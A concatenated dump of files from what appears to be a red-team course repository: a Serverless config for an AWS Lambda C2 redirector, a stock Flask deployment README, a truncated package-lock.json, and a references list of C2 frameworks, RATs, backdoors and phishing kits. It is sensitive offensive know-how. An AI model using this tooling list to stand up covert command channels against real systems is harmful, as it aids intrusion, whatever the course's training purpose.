check the docs: 10 | # docs.serverless.com 11 | # 12 | # Happy Coding! 13 | 14 | service: serverless-redirector 15 | # app and org for use with dashboard.serverless.com 16 | #app: your-app-name 17 | #org: your-org-name 18 | 19 | # You can pin your service to only deploy with a specific Serverless version 20 | # Check out our docs for more details 21 | # frameworkVersion: "=X.X.X" 22 | frameworkVersion: '>=1.28.0 <2.0.0' 23 | 24 | provider: 25 | name: aws 26 | runtime: go1.x 27 | stage: api 28 | region: eu-west-2 29 | environment: 30 | SERVER: ${opt:server} 31 | 32 | # you can overwrite defaults here 33 | # stage: dev 34 | # region: us-east-1 35 | 36 | # you can add statements to the Lambda function's IAM Role here 37 | # iamRoleStatements: 38 | # - Effect: "Allow" 39 | # Action: 40 | # - "s3:ListBucket" 41 | # Resource: { "Fn::Join" : ["", ["arn:aws:s3:::", { "Ref" : "ServerlessDeploymentBucket" } ] ] } 42 | # - Effect: "Allow" 43 | # Action: 44 | # - "s3:PutObject" 45 | # Resource: 46 | # Fn::Join: 47 | # - "" 48 | # - - "arn:aws:s3:::" 49 | # - "Ref" : "ServerlessDeploymentBucket" 50 | # - "/*" 51 | 52 | # you can define service wide environment variables here 53 | # environment: 54 | # variable1: value1 55 | 56 | package: 57 | exclude: 58 | - ./** 59 | include: 60 | - ./bin/** 61 | 62 | functions: 63 | redirector: 64 | handler: bin/redirector 65 | events: 66 | - http: 67 | path: /{all+} 68 | method: any 69 | 70 | # The following are a few example events you can configure 71 | # NOTE: Please make sure to change your handler code to work with those events 72 | # Check the event documentation for details 73 | # events: 74 | # events: 75 | # - http: 76 | # path: users/create 77 | # method: get 78 | # - websocket: $connect 79 | # - s3: ${env:BUCKET} 80 | # - schedule: rate(10 minutes) 81 | # - sns: greeter-topic 82 | # - stream: arn:aws:dynamodb:region:XXXXXX:table/foo/stream/1970-01-01T00:00:00.000 83 | # - alexaSkill: amzn1.ask.skill.xx-xx-xx-xx 84 | # - alexaSmartHome: amzn1.ask.skill.xx-xx-xx-xx 85 | # - iot: 86 | # sql: "SELECT * FROM 'some_topic'" 87 | # - cloudwatchEvent: 88 | # event: 89 | # source: 90 | # - "aws.ec2" 91 | # detail-type: 92 | # - "EC2 Instance State-change Notification" 93 | # detail: 94 | # state: 95 | # - pending 96 | # - cloudwatchLog: '/aws/lambda/hello' 97 | # - cognitoUserPool: 98 | # pool: MyUserPool 99 | # trigger: PreSignUp 100 | # - alb: 101 | # listenerArn: arn:aws:elasticloadbalancing:us-east-1:XXXXXX:listener/app/my-load-balancer/50dc6c495c0c9188/ 102 | # priority: 1 103 | # conditions: 104 | # host: example.com 105 | # path: /hello 106 | 107 | # Define function environment variables here 108 | # environment: 109 | # variable2: value2 110 | 111 | # you can add CloudFormation resource templates here 112 | #resources: 113 | # Resources: 114 | # NewResource: 115 | # Type: AWS::S3::Bucket 116 | # Properties: 117 | # BucketName: my-new-bucket 118 | # Outputs: 119 | # NewOutput: 120 | # Description: "Description for the output" 121 | # Value: "Some output value" 122 | -------------------------------------------------------------------------------- /serverless-redirector/flask-redirector/README.md: -------------------------------------------------------------------------------- 1 | 13 | 14 | # Serverless Framework Python Flask API on AWS 15 | 16 | This template demonstrates how to develop and deploy a simple Python Flask API service running on AWS Lambda using the Serverless Framework. 17 | 18 | This template configures a single function, `api`, which is responsible for handling all incoming requests thanks to configured `http` events. To learn more about `http` event configuration options, please refer to [http event docs](https://www.serverless.com/framework/docs/providers/aws/events/apigateway/). As the events are configured in a way to accept all incoming requests, `Flask` framework is responsible for routing and handling requests internall y. The implementation takes advantage of `serverless-wsgi`, which allows you to wrap WSGI applications such as Flask apps. To learn more about `serverless-wsgi`, please refer to corresponding [GitHub repository](https://github.com/logandk/serverless-wsgi). Additionally, the template relies on `serverless-python-requirements` plugin for packaging dependencies from `requirements.txt` file. For more details about `serverless-python-requirements` configuration, please refer to corresponding [GitHub repository](https://github.com/UnitedIncome/serverless-python-requirements). 19 | 20 | ## Usage 21 | 22 | ### Deployment 23 | 24 | This example is made to work with the Serverless Framework dashboard, which includes advanced features such as CI/CD, monitoring, metrics, etc. 25 | 26 | In order to deploy with dashboard, you need to first login with: 27 | 28 | ``` 29 | serverless login 30 | ``` 31 | 32 | install dependencies with: 33 | 34 | ``` 35 | npm install 36 | ``` 37 | 38 | and 39 | 40 | ``` 41 | pip install -r requirements.txt 42 | ``` 43 | 44 | and then perform deployment with: 45 | 46 | ``` 47 | serverless deploy 48 | ``` 49 | 50 | After running deploy, you should see output similar to: 51 | 52 | ``` 53 | Deploying "aws-python-flask-api" to stage "dev" (us-east-1) 54 | 55 | Using Python specified in "runtime": python3.12 56 | 57 | Packaging Python WSGI handler... 58 | 59 | ✔ Service deployed to stack aws-python-flask-api-dev (104s) 60 | 61 | endpoints: 62 | ANY - https://xxxxxxxxxe.execute-api.us-east-1.amazonaws.com/dev/ 63 | ANY - https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/dev/{proxy+} 64 | functions: 65 | api: aws-python-flask-api-dev-api (41 MB) 66 | 67 | ``` 68 | 69 | _Note_: In current form, after deployment, your API is public and can be invoked by anyone. For production deployments, you might want to configure an authorizer. For details on how to do that, refer to [http event docs](https://www.serverless.com/framework/docs/providers/aws/events/apigateway/). 70 | 71 | ### Invocation 72 | 73 | After successful deployment, you can call the created application via HTTP: 74 | 75 | ``` 76 | curl https://xxxxxxx.execute-api.us-east-1.amazonaws.com/dev/ 77 | ``` 78 | 79 | Which should result in the following response: 80 | 81 | ```json 82 | { "message": "Hello from root!" } 83 | ``` 84 | 85 | Calling the `/hello` path with: 86 | 87 | ``` 88 | curl https://xxxxxxx.execute-api.us-east-1.amazonaws.com/dev/hello 89 | ``` 90 | 91 | Should result in the following response: 92 | 93 | ```json 94 | { "message": "Hello from path!" } 95 | ``` 96 | 97 | ### Local development 98 | 99 | Thanks to capabilities of `serverless-wsgi`, it is also possible to run your application locally, however, in order to do that, you will need to first install `werkzeug` dependency, as well as all other dependencies listed in `requirements.txt`. It is recommended to use a dedicated virtual environment for that purpose. You can install all needed dependencies with the following commands: 100 | 101 | ``` 102 | pip install werkzeug 103 | pip install -r requirements.txt 104 | ``` 105 | 106 | At this point, you can run your application locally with the following command: 107 | 108 | ``` 109 | serverless wsgi serve 110 | ``` 111 | 112 | For additional local development capabilities of `serverless-wsgi` plugin, please refer to corresponding [GitHub repository](https://github.com/logandk/serverless-wsgi). 113 | -------------------------------------------------------------------------------- /Course_References.md: -------------------------------------------------------------------------------- 1 | # Course References 2 | 3 | This document contains all links and references to various documentation, resources, and tutorials that are used in the course. 4 | 5 | 6 | ## Injection Youtube 7 | - https://www.youtube.com/channel/UC31jVeFdiPWsxMRqhXapRGQ 8 | 9 | ## AWS 10 | - Make an account: https://aws.amazon.com/premiumsupport/knowledge-center/create-and-activate-aws-account/ 11 | - Access key tutorial: https://blog.gruntwork.io/authenticating-to-aws-with-the-credentials-file-d16c0fbcbf9e 12 | 13 | ## DevOps Tools 14 | - https://www.saltstack.com/ 15 | - Ubuntu Install Instructions: https://repo.saltstack.com/#ubuntu 16 | - https://puppet.com/ 17 | - https://www.chef.io/ 18 | - https://www.ansible.com/ 19 | 20 | ## Terraform 21 | - Download: https://www.terraform.io/downloads.html 22 | - Documenation: https://www.terraform.io/docs/index.html 23 | 24 | ## Serverless Framework 25 | - https://serverless.com/framework/docs/ 26 | 27 | ## Vagrant 28 | - Download: https://www.vagrantup.com/downloads.html 29 | - Documentation: https://www.vagrantup.com/docs/ 30 | 31 | ## Virtualbox 32 | - https://www.virtualbox.org/ 33 | 34 | ## Golang 35 | - https://golang.org/doc/ 36 | - On most debian based distros: `apt install golang` 37 | 38 | ## Python 39 | - https://www.python.org/doc/ 40 | - On most debian based distros: `apt install python` or `apt install python3` 41 | 42 | ## PiVPN 43 | - https://www.pivpn.io/ 44 | - https://github.com/pivpn/pivpn 45 | 46 | ## Red Team Development and Operations 47 | - https://redteam.guide/ 48 | 49 | ## C2 Redirectors 50 | - https://blog.xpnsec.com/aws-lambda-redirector/ 51 | - https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/ 52 | - https://coffeegist.com/security/resilient-red-team-https-redirection-using-nginx/ 53 | 54 | ## BadSalt (Adversarial DevOps) 55 | - Blog: https://injection.sh/injection-blog/Bad-Salt-(Adversarial-DevOps)/ 56 | - Video: https://www.youtube.com/watch?v=ioBAK7hGZi4 57 | 58 | ## Gophish 59 | - Download: https://github.com/gophish/gophish/releases 60 | - Documentation: https://docs.getgophish.com/user-guide/ 61 | 62 | ## PwnDrop 63 | - Site: https://breakdev.org/pwndrop/ 64 | - Repo: https://github.com/kgretzky/pwndrop 65 | ## C2 Servers/Frameworks 66 | - **Cobalt Strike** is software for Adversary Simulations and Red Team Operations. https://cobaltstrike.com/ 67 | - **Empire** is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. https://github.com/BC-SECURITY/Empire 68 | - **Metasploit Framework** is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. https://github.com/rapid7/metasploit-framework 69 | - **SILENTTRINITY** A post-exploitation agent powered by Python, IronPython, C#/.NET. https://github.com/byt3bl33d3r/SILENTTRINITY 70 | - **Pupy** is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python. https://github.com/n1nj4sec/pupy 71 | - **Koadic** or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. https://github.com/zerosum0x0/koadic 72 | - **PoshC2** is a proxy aware C2 framework written completely in PowerShell to aid penetration testers with red teaming, post-exploitation and lateral movement. https://github.com/nettitude/PoshC2_Python 73 | - **Gcat** a stealthy Python based backdoor that uses Gmail as a command and control server. https://github.com/byt3bl33d3r/gcat 74 | - **TrevorC2** is a legitimate website (browsable) that tunnels client/server communications for covert command execution. https://github.com/trustedsec/trevorc2 75 | - **Merlin** is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang. https://github.com/Ne0nd0g/merlin 76 | - **Quasar** is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. https://github.com/quasar/QuasarRAT 77 | - **Covenant** is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. https://github.com/cobbr/Covenant 78 | - **FactionC2** is a C2 framework which use websockets based API that allows for interacting with agents and transports. https://github.com/FactionC2/ 79 | - **DNScat2** is a tool is designed to create an encrypted command-and-control (C&C) channel over the DNS protocol. https://github.com/iagox86/dnscat2 80 | - **Sliver** is a general purpose cross-platform implant framework that supports C2 over Mutual-TLS, HTTP(S), and DNS. https://github.com/BishopFox/sliver 81 | - **EvilOSX** An evil RAT (Remote Administration Tool) for macOS / OS X. https://github.com/Marten4n6/EvilOSX 82 | - **EggShell** is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. https://github.com/neoneggplant/EggShell 83 | - **Starkiller** Electron GUI frontend for Empire that enables a new set of features that take advantage of Empire's RESTful API. https://github.com/BC-SECURITY/Starkiller 84 | 85 | ## Configuring Apache with TLS Using Lets Encrypt 86 | - https://www.digitalocean.com/community/tutorials/how-to-secure-apache-with-let-s-encrypt-on-ubuntu-18-04 87 | -------------------------------------------------------------------------------- /serverless-redirector/flask-redirector/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "flask-redirector", 3 | "version": "1.0.0", 4 | "lockfileVersion": 3, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "flask-redirector", 9 | "version": "1.0.0", 10 | "devDependencies": { 11 | "serverless-python-requirements": "^6.1.0", 12 | "serverless-wsgi": "^3.0.5" 13 | } 14 | }, 15 | "node_modules/@iarna/toml": { 16 | "version": "2.2.5", 17 | "resolved": "https://registry.npmjs.org/@iarna/toml/-/toml-2.2.5.tgz", 18 | "integrity": "sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==", 19 | "dev": true, 20 | "license": "ISC" 21 | }, 22 | "node_modules/@isaacs/cliui": { 23 | "version": "8.0.2", 24 | "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", 25 | "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", 26 | "dev": true, 27 | "license": "ISC", 28 | "peer": true, 29 | "dependencies": { 30 | "string-width": "^5.1.2", 31 | "string-width-cjs": "npm:string-width@^4.2.0", 32 | "strip-ansi": "^7.0.1", 33 | "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", 34 | "wrap-ansi": "^8.1.0", 35 | "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" 36 | }, 37 | "engines": { 38 | "node": ">=12" 39 | } 40 | }, 41 | "node_modules/@pkgjs/parseargs": { 42 | "version": "0.11.0", 43 | "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", 44 | "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", 45 | "dev": true, 46 | "license": "MIT", 47 | "optional": true, 48 | "peer": true, 49 | "engines": { 50 | "node": ">=14" 51 | } 52 | }, 53 | "node_modules/2-thenable": { 54 | "version": "1.0.0", 55 | "resolved": "https://registry.npmjs.org/2-thenable/-/2-thenable-1.0.0.tgz", 56 | "integrity": "sha512-HqiDzaLDFCXkcCO/SwoyhRwqYtINFHF7t9BDRq4x90TOKNAJpiqUt9X5lQ08bwxYzc067HUywDjGySpebHcUpw==", 57 | "dev": true, 58 | "license": "ISC", 59 | "dependencies": { 60 | "d": "1", 61 | "es5-ext": "^0.10.47" 62 | } 63 | }, 64 | "node_modules/ansi-regex": { 65 | "version": "6.1.0", 66 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", 67 | "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", 68 | "dev": true, 69 | "license": "MIT", 70 | "peer": true, 71 | "engines": { 72 | "node": ">=12" 73 | }, 74 | "funding": { 75 | "url": "https://github.com/chalk/ansi-regex?sponsor=1" 76 | } 77 | }, 78 | "node_modules/ansi-styles": { 79 | "version": "6.2.1", 80 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", 81 | "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", 82 | "dev": true, 83 | "license": "MIT", 84 | "peer": true, 85 | "engines": { 86 | "node": ">=12" 87 | }, 88 | "funding": { 89 | "url": "https://github.com/chalk/ansi-styles?sponsor=1" 90 | } 91 | }, 92 | "node_modules/appdirectory": { 93 | "version": "0.1.0", 94 | "resolved": "https://registry.npmjs.org/appdirectory/-/appdirectory-0.1.0.tgz", 95 | "integrity": "sha512-DJ5DV8vZXBbusyiyPlH28xppwS8eAMRuuyMo88xeEcf4bV64lbLtbxRxqixZuJBXsZzLtXFmA13GwVjJc7vdQw==", 96 | "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", 97 | "dev": true, 98 | "license": "MIT" 99 | }, 100 | "node_modules/asynckit": { 101 | "version": "0.4.0", 102 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", 103 | "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", 104 | "dev": true, 105 | "license": "MIT", 106 | "peer": true 107 | }, 108 | "node_modules/axios": { 109 | "version": "1.7.9", 110 | "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.9.tgz", 111 | "integrity": "sha512-LhLcE7Hbiryz8oMDdDptSrWowmB4Bl6RCt6sIJKpRB4XtVf0iEgewX3au/pJqm+Py1kCASkb/FFKjxQaLtxJvw==", 112 | "dev": true, 113 | "license": "MIT", 114 | "peer": true, 115 | "dependencies": { 116 | "follow-redirects": "^1.15.6", 117 | "form-data": "^4.0.0", 118 | "proxy-from-env": "^1.1.0" 119 | } 120 | }, 121 | "node_modules/axios-proxy-builder": { 122 | "version": "0.1.2", 123 | "resolved": "https://registry.npmjs.org/axios-proxy-builder/-/axios-proxy-builder-0.1.2.tgz", 124 | "integrity": "sha512-6uBVsBZzkB3tCC8iyx59mCjQckhB8+GQrI9Cop8eC7ybIsvs/KtnNgEBfRMSEa7GqK2VBGUzgjNYMdPIfotyPA==", 125 | "dev": true, 126 | "license": "MIT", 127 | "peer": true, 128 | "dependencies": { 129 | "tunnel": "^0.0.6" 130 | } 131 | }, 132 | "node_modules/balanced-match": { 133 | "version": "1.0.2", 134 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", 135 | "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", 136 | "dev": true, 137 | "license": "MIT" 138 | }, 139 | "node_modules/bluebird": { 140 | "version": "3.7.2", 141 | "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", 142 | "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", 143 | "dev": true, 144 | "license": "MIT" 145 | }, 146 | "node_modules/brace-expansion": { 147 | "version": "2.0.1", 148 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", 149 | "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", 150 | "dev": true, 151 | "license": "MIT", 152 | "peer": true, 153 | "dependencies": { 154 | "balanced-match": "^1.0.0" 155 | } 156 | }, 157 | "node_modules/camelcase": { 158 | "version": "5.3.1", 159 | "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", 160 | "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", 161 | "dev": true, 162 | "license": "MIT", 163 | "engines": { 164 | "node": ">=6" 165 | } 166 | }, 167 | "node_modules/child-process-ext": { 168 | "version": "2.1.1", 169 | "resolved": "https://registry.npmjs.org/child-process-ext/-/child-process-ext-2.1.1.tgz", 170 | "integrity": "sha512-0UQ55f51JBkOFa+fvR76ywRzxiPwQS3Xe8oe5bZRphpv+dIMeerW5Zn5e4cUy4COJwVtJyU0R79RMnw+aCqmGA==", 171 | "dev": true, 172 | "license": "ISC", 173 | "dependencies": { 174 | "cross-spawn": "^6.0.5", 175 | "es5-ext": "^0.10.53", 176 | "log": "^6.0.0", 177 | "split2": "^3.1.1", 178 | "stream-promise": "^3.2.0" 179 | } 180 | }, 181 | "node_modules/child-process-ext/node_modules/cross-spawn": { 182 | "version": "6.0.6", 183 | "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.6.tgz", 184 | "integrity": "sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==", 185 | "dev": true, 186 | "license": "MIT", 187 | "dependencies": { 188 | "nice-try": "^1.0.4", 189 | "path-key": "^2.0.1", 190 | "semver": "^5.5.0", 191 | "shebang-command": "^1.2.0", 192 | "which": "^1.2.9" 193 | }, 194 | "engines": { 195 | "node": ">=4.8" 196 | } 197 | }, 198 | "node_modules/child-process-ext/node_modules/path-key": { 199 | "version": "2.0.1", 200 | "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", 201 | "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==", 202 | "dev": true, 203 | "license": "MIT", 204 | "engines": { 205 | "node": ">=4" 206 | } 207 | }, 208 | "node_modules/child-process-ext/node_modules/semver": { 209 | "version": "5.7.2", 210 | "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", 211 | "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", 212 | "dev": true, 213 | "license": "ISC", 214 | "bin": { 215 | "semver": "bin/semver" 216 | } 217 | }, 218 | "node_modules/child-process-ext/node_modules/shebang-command": { 219 | "version": "1.2.0", 220 | "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", 221 | "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==", 222 | "dev": true, 223 | "license": "MIT", 224 | "dependencies": { 225 | "shebang-regex": "^1.0.0" 226 | }, 227 | "engines": { 228 | "node": ">=0.10.0" 229 | } 230 | }, 231 | "node_modules/child-process-ext/node_modules/shebang-regex": { 232 | "version": "1.0.0", 233 | "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", 234 | "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==", 235 | "dev": true, 236 | "license": "MIT", 237 | "engines": { 238 | "node": ">=0.10.0" 239 | } 240 | }, 241 | "node_modules/child-process-ext/node_modules/which": { 242 | "version": "1.3.1", 243 | "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", 244 | "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", 245 | "dev": true, 246 | "license": "ISC", 247 | "dependencies": { 248 | "isexe": "^2.0.0" 249 | }, 250 | "bin": { 251 | "which": "bin/which" 252 | } 253 | }, 254 | "node_modules/cliui": { 255 | "version": "6.0.0", 256 | "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", 257 | "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", 258 | "dev": true, 259 | "license": "ISC", 260 | "dependencies": { 261 | "string-width": "^4.2.0", 262 | "strip-ansi": "^6.0.0", 263 | "wrap-ansi": "^6.2.0" 264 | } 265 | }, 266 | "node_modules/cliui/node_modules/ansi-regex": { 267 | "version": "5.0.1", 268 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 269 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 270 | "dev": true, 271 | "license": "MIT", 272 | "engines": { 273 | "node": ">=8" 274 | } 275 | }, 276 | "node_modules/cliui/node_modules/ansi-styles": { 277 | "version": "4.3.0", 278 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", 279 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", 280 | "dev": true, 281 | "license": "MIT", 282 | "dependencies": { 283 | "color-convert": "^2.0.1" 284 | }, 285 | "engines": { 286 | "node": ">=8" 287 | }, 288 | "funding": { 289 | "url": "https://github.com/chalk/ansi-styles?sponsor=1" 290 | } 291 | }, 292 | "node_modules/cliui/node_modules/emoji-regex": { 293 | "version": "8.0.0", 294 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", 295 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", 296 | "dev": true, 297 | "license": "MIT" 298 | }, 299 | "node_modules/cliui/node_modules/string-width": { 300 | "version": "4.2.3", 301 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", 302 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", 303 | "dev": true, 304 | "license": "MIT", 305 | "dependencies": { 306 | "emoji-regex": "^8.0.0", 307 | "is-fullwidth-code-point": "^3.0.0", 308 | "strip-ansi": "^6.0.1" 309 | }, 310 | "engines": { 311 | "node": ">=8" 312 | } 313 | }, 314 | "node_modules/cliui/node_modules/strip-ansi": { 315 | "version": "6.0.1", 316 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 317 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 318 | "dev": true, 319 | "license": "MIT", 320 | "dependencies": { 321 | "ansi-regex": "^5.0.1" 322 | }, 323 | "engines": { 324 | "node": ">=8" 325 | } 326 | }, 327 | "node_modules/cliui/node_modules/wrap-ansi": { 328 | "version": "6.2.0", 329 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", 330 | "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", 331 | "dev": true, 332 | "license": "MIT", 333 | "dependencies": { 334 | "ansi-styles": "^4.0.0", 335 | "string-width": "^4.1.0", 336 | "strip-ansi": "^6.0.0" 337 | }, 338 | "engines": { 339 | "node": ">=8" 340 | } 341 | }, 342 | "node_modules/color-convert": { 343 | "version": "2.0.1", 344 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", 345 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", 346 | "dev": true, 347 | "license": "MIT", 348 | "dependencies": { 349 | "color-name": "~1.1.4" 350 | }, 351 | "engines": { 352 | "node": ">=7.0.0" 353 | } 354 | }, 355 | "node_modules/color-name": { 356 | "version": "1.1.4", 357 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", 358 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", 359 | "dev": true, 360 | "license": "MIT" 361 | }, 362 | "node_modules/combined-stream": { 363 | "version": "1.0.8", 364 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", 365 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", 366 | "dev": true, 367 | "license": "MIT", 368 | "peer": true, 369 | "dependencies": { 370 | "delayed-stream": "~1.0.0" 371 | }, 372 | "engines": { 373 | "node": ">= 0.8" 374 | } 375 | }, 376 | "node_modules/command-exists": { 377 | "version": "1.2.9", 378 | "resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.9.tgz", 379 | "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==", 380 | "dev": true, 381 | "license": "MIT" 382 | }, 383 | "node_modules/concat-map": { 384 | "version": "0.0.1", 385 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", 386 | "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", 387 | "dev": true, 388 | "license": "MIT" 389 | }, 390 | "node_modules/core-util-is": { 391 | "version": "1.0.3", 392 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", 393 | "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", 394 | "dev": true, 395 | "license": "MIT" 396 | }, 397 | "node_modules/cross-spawn": { 398 | "version": "7.0.6", 399 | "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", 400 | "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", 401 | "dev": true, 402 | "license": "MIT", 403 | "peer": true, 404 | "dependencies": { 405 | "path-key": "^3.1.0", 406 | "shebang-command": "^2.0.0", 407 